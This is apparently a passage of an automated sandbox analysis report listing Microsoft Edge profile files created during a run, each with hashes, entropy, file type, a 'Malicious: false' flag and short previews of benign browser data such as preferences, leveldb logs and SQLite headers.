Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8d61f29f-1605-4817-a7b7-b042aaea40f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567890335281766
Encrypted:	false
SSDEEP:	768:4UX7e5WwUW5wUaf4qN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkoI7QbJrwXNvAnpj:4kq5FUWaUaf7Nu1jaJxq69jtC
MD5:	5ECEFF456232DB95D2B71A9AF83EC61A
SHA1:	05328AB1659439FB4A382EB6A307FE7C7B914485
SHA-256:	1C8959700FD25719539F0E000B31073F05755F4C6B315410414567354D318D69
SHA-512:	72826C6581DEC7C1554B91F545EA147DD05F7F994784566F3C921EA50FE5855AEE8C7A50EBB2561A9B7C4DEBC6D8E4A2BD57E1F21F94FA94BD3D3E58237AE76F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376991215470838","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376991215470838","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.242665613698832
Encrypted:	false
SSDEEP:	6:HAZzHaRRM1N723oH+Tcwtp3hBtB2KLlVAZCsq2PN723oH+Tcwtp3hBWsIFUv:gN63saYebp3dFLoNvVaYebp3eFUv
MD5:	06BE4F48D24C7651EB5C93E1772340E7
SHA1:	C69D899BA5C4C8E5DEBB8FAAE144160B25BC9764
SHA-256:	5DF97C1BAFED36F4DCF5071A4685152EF85AEEA3D047C0E92142E859820331C8
SHA-512:	36BC266DE74EE9F04BFACBB1299F40ADAA60576FF89E7FA4D1B70A7D0CC4C064BF5A895290B7288039E36E6644E60FB7DA539FF7073174EEEBAD80827A675118
Malicious:	false
Preview:	2024/11/25-01:53:40.797 1c54 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/25-01:53:41.025 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222873427529585
Encrypted:	false
SSDEEP:	24576:IbPMZpVIfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVIfx2mjF
MD5:	439D6DF5CBDA8D87FD7204BDF4D6D976
SHA1:	E83359D1B0281596414E913F9267ABDA2A48D570
SHA-256:	02B3CD48D48CC2D3B7C7EF4B7336101906E1BC4583F553DC1FE6027F02D99D91
SHA-512:	B633A8BC987304794BD5AE7A4B956D1981437B7C9D5792399976075D17699CEB84521A336F184CE56CF76FBCBEB8EBDC363C4CC2C884F192C3C386638DC7BB8D
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.154515397518726
Encrypted:	false
SSDEEP:	6:HAZznyOQ+q2PN723oH+Tcwt9Eh1tIFUt8YAZznKQgZmw+YAZzncQVkwON723oH+8:gNnyOVvVaYeb9Eh16FUt87NnKQg/+7Nm
MD5:	73DF29F6C12D96363BE1349174FF5076
SHA1:	22E5E0AED6220C0594E335048577D60968097510
SHA-256:	C31C64D92E0AA785C3FE29C16294C86E9EFE595D4D7B349ADFC85076E44C6117
SHA-512:	F6E66797E2866A88A3C460947DE35273BA4602C436D01BCF2096139C422E1DC8FDD6C6A8B4E253DA1E268DA70EB9A3E09A88BD7E49FB438BBFD222E3B51183BD
Malicious:	false
Preview:	2024/11/25-01:53:40.676 2068 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-01:53:40.678 2068 Recovering log #3.2024/11/25-01:53:40.688 2068 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.154515397518726
Encrypted:	false
SSDEEP:	6:HAZznyOQ+q2PN723oH+Tcwt9Eh1tIFUt8YAZznKQgZmw+YAZzncQVkwON723oH+8:gNnyOVvVaYeb9Eh16FUt87NnKQg/+7Nm
MD5:	73DF29F6C12D96363BE1349174FF5076
SHA1:	22E5E0AED6220C0594E335048577D60968097510
SHA-256:	C31C64D92E0AA785C3FE29C16294C86E9EFE595D4D7B349ADFC85076E44C6117
SHA-512:	F6E66797E2866A88A3C460947DE35273BA4602C436D01BCF2096139C422E1DC8FDD6C6A8B4E253DA1E268DA70EB9A3E09A88BD7E49FB438BBFD222E3B51183BD
Malicious:	false
Preview:	2024/11/25-01:53:40.676 2068 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-01:53:40.678 2068 Recovering log #3.2024/11/25-01:53:40.688 2068 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46238933898281737
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuk:TouQq3qh7z3bY2LNW9WMcUvBuk
MD5:	EFBA90AF34910155F0AEB8004EAE96E8
SHA1:	D6458BD49EBC3317738CC6F7E858E77F091022D5
SHA-256:	C1BFE06838D73020B7E584A8F3AAB7B9A062521DCF7CA228968D5CCAEF8CA602
SHA-512:	D6FC60FDC57C5AB0B0AF31FF4B526F8BAC00F06361FD943D6105FC967DC56889AC5B6D9460BAB9F2D1CB05FC9F2EC7C6A8E87FF4C06A81E6A35C51A625CDFFD9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.172644443589192
Encrypted:	false
SSDEEP:	6:HAZWNJSQL+q2PN723oH+TcwtnG2tMsIFUt8YAZWEUfGKWZmw+YAZWukpQLVkwONG:gouQ+vVaYebn9GFUt87o9GKW/+7ouqQF
MD5:	238323B51467B5B079285DE5A7FBBD90
SHA1:	9117CE642420EE4EC3E539A5EE0C9521C8AE4882
SHA-256:	1DA8C768007AEC326EB325AD51F47DF1119E9960F1BC804B769167C03508C0C5
SHA-512:	BAE14D1D59E98C9DAFD42B6040920226209940FCF16A2B7441A2ED1D5F5943B6C8818FA9862F809DDF45CE6189C6F16E3386644159710EF93CB6AFB6FBF5A28E
Malicious:	false
Preview:	2024/11/25-01:53:35.496 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-01:53:35.521 1e5c Recovering log #3.2024/11/25-01:53:35.536 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.172644443589192
Encrypted:	false
SSDEEP:	6:HAZWNJSQL+q2PN723oH+TcwtnG2tMsIFUt8YAZWEUfGKWZmw+YAZWukpQLVkwONG:gouQ+vVaYebn9GFUt87o9GKW/+7ouqQF
MD5:	238323B51467B5B079285DE5A7FBBD90
SHA1:	9117CE642420EE4EC3E539A5EE0C9521C8AE4882
SHA-256:	1DA8C768007AEC326EB325AD51F47DF1119E9960F1BC804B769167C03508C0C5
SHA-512:	BAE14D1D59E98C9DAFD42B6040920226209940FCF16A2B7441A2ED1D5F5943B6C8818FA9862F809DDF45CE6189C6F16E3386644159710EF93CB6AFB6FBF5A28E
Malicious:	false
Preview:	2024/11/25-01:53:35.496 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-01:53:35.521 1e5c Recovering log #3.2024/11/25-01:53:35.536 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6130475013417832
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jlHIpYHFmL:TO8D4jJ/6Up+N7S
MD5:	3B78782D5AF2A8CE23FBB70DA1E200ED
SHA1:	35D16F6B43E5E2D861DE1AD3CED95219918580E7
SHA-256:	214840F592F5837E3854A080BDDE89EA7728C0F2D2305E30C8D1E59F248FFBE8
SHA-512:	7BA2424EB8B0D86CC010C6B03464A0617A38EE1825CF24623072D6B539F27E9C1A1C85EEB4A2FE7CCC1667D9BD8D9482DDFD37CA2E6DAAC93AACAF16671AB3DB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354142964355162
Encrypted:	false
SSDEEP:	6144:JA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:JFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	7BB2887253FF8DE5349A38FABEEDE729
SHA1:	0F6022E6004FDA20911DDAE191F0F826EA468B8E
SHA-256:	C98B5E216A3A83105B4FF17B29452C92DD971D91F56E987175D0979BBCDB49B4
SHA-512:	7725F632F2ABFF70290120601027C5B52D10997F8E891A587AD10B443CED4B2D0E4BEBBA017D74F693E3473CF79D0E5BC060ACE9A0A2B1991159ECDCE1B77F26
Malicious:	false
Preview:	...m.................DB_VERSION.1P...q...............&QUERY_TIMESTAMP:domains_config_gz2...13376991223953693..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.153279102072356
Encrypted:	false
SSDEEP:	6:HAZziz1N723oH+Tcwtk2WwnvB2KLlVAZzpRjQ+q2PN723oH+Tcwtk2WwnvIFUv:gNMaYebkxwnvFLoNzjVvVaYebkxwnQF2
MD5:	8533BD4A200B20BB7C46A64F82D24D4C
SHA1:	B1467943F3DFADBAB270BBD17DD32B447B2485DE
SHA-256:	798AB12A481365C85A9A624C0D74F18E5422C5DEA9DF69C751F05DDCDE053A3A
SHA-512:	1923C483E3DB0B9358DC1FC61C1CC7480EF86BE42D3BD584D5E8A7EB1D11F71E3D18444D48E95292D59AF94A79152BC5C46FF23A7BDCDBD234BA62EE9A2561AF
Malicious:	false
Preview:	2024/11/25-01:53:40.707 2078 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/25-01:53:40.817 2078 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324622886631001
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rt:C1gAg1zfvV
MD5:	A9A72F9FDBF80B3E87573F48834EACB1
SHA1:	6341D0B22724B9ECA3CAAE8515BBA0DF2220CDDB
SHA-256:	3C452B80BB6C492D682BADC1BF8ABAB2288781334BADDCA05E481024494F0E7E
SHA-512:	BC6973CA35BAFA4A41D0E75214B96698735CE767BECC1C07503C545A7899839B6647B9085D4972BBAA483577A14E5EBDE7A31E550AD3B76F42105BA20DD40EC4
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.111663995025344
Encrypted:	false
SSDEEP:	6:HAZWuQB4q2PN723oH+Tcwt8aPrqIFUt8YAZW1JZmw+YAZW1DkwON723oH+Tcwt8h:gouQivVaYebL3FUt87ov/+7o95OaYebc
MD5:	B21297EDF288D71E74AE605E6F9A31AD
SHA1:	8EE179164127B883B8570C6EE53803AA741764C2
SHA-256:	CD0FD4A237DF94FCF735C74DFF5CD890D96152AF70D33C70CE6D9CAA5557586A
SHA-512:	AD1AA7559089EEB80843B2249E49921B69DB67704DA3D6643EEA53B813EC7B91FDA674A842DBBC2352A7AC8D757F69F051927E683424A9A0899FF6A3B0F0484E
Malicious:	false
Preview:	2024/11/25-01:53:35.535 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-01:53:35.548 1e40 Recovering log #3.2024/11/25-01:53:35.548 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.111663995025344
Encrypted:	false
SSDEEP:	6:HAZWuQB4q2PN723oH+Tcwt8aPrqIFUt8YAZW1JZmw+YAZW1DkwON723oH+Tcwt8h:gouQivVaYebL3FUt87ov/+7o95OaYebc
MD5:	B21297EDF288D71E74AE605E6F9A31AD
SHA1:	8EE179164127B883B8570C6EE53803AA741764C2
SHA-256:	CD0FD4A237DF94FCF735C74DFF5CD890D96152AF70D33C70CE6D9CAA5557586A
SHA-512:	AD1AA7559089EEB80843B2249E49921B69DB67704DA3D6643EEA53B813EC7B91FDA674A842DBBC2352A7AC8D757F69F051927E683424A9A0899FF6A3B0F0484E
Malicious:	false
